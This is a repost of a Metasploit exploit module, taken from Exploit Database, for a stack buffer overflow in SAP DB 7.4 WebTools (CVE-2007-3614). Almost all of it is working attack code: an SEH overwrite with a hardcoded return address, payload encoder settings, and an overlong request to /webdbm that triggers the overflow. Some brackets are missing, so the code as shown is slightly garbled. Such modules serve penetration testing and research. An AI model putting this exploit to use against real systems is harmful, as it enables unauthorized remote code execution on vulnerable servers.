SAP DB 7.4 – WebTools Buffer Overflow (Metasploit)

Exploit Database
122 阅读

作者： Metasploit

日期： 2010-07-16
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16758/

# $Id: sapdb_webtools.rb 9842 2010-07-16 02:33:25Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'SAP DB 7.4 WebTools Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.

By sending an overly long GET request, it may be possible for

an attacker to execute arbitrary code.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9842 $',

'References' =>

[

[ 'CVE', '2007-3614' ],

[ 'OSVDB', '37838' ],

[ 'BID', '24773' ],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 850,

'BadChars' => "\x00",

'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",

'EncoderType'=> Msf::Encoder::Type::AlphanumUpper,

'EncoderOptions' =>

{

'BufferRegister' => 'ECX',

'Platform' => 'win',

'Targets'=>

[

[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0

'DisclosureDate' => 'Jul 5 2007',

'DefaultTarget'=> 0))

register_options( [ Opt::RPORT(9999) ], self.class )

end

def exploit

filler = rand_text_alphanumeric(20774)

seh = generate_seh_payload(target.ret)

sploit = filler + seh + rand_text_alphanumeric(3000)

print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)

res = send_request_raw(

{

'uri' => '/webdbm',

'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit

}, 5)

handler

end